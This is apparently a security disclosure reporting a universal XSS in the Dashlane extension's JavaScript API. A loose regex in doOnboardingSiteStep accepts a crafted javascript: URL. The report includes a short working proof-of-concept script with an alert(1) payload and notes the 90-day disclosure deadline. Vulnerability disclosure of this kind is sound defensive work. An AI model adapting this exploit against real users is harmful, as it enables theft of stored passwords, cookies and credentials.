Browsing through the dashlane javascript API, doOnboardingSiteStep uses the regex /:\/\/(.[^\/]+)/ to validate the site parameter, but that also matches javascript:alert(1)//://whatever.

This results in a universal XSS, allowing any site to XSS any other site - and therefore access cookies and user data, steal passwords and credentials for any website, etc, etc. Something like this should work:

dashlaneAPI.init({});
window.open('https://mail.google.com'); // must be in a click event handler to disable popup blocker - can be any site
dashlaneAPI.global.isInstalled(function(err,
                                        isInstalled,
                                        communicationObject) {
 communicationObject.callAPI('getUserOnboardingSites', null, function () {});
 communicationObject.callAPI('doOnboardingSiteStep', {
     site: 'javascript:alert(1);//://twitter.com'
 }, function () {});
});

I'm going to list this as critical severity even though it's not a remote code execution, because the sole intent of the product is to protect website passwords and this effectively allows you to steal all password.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.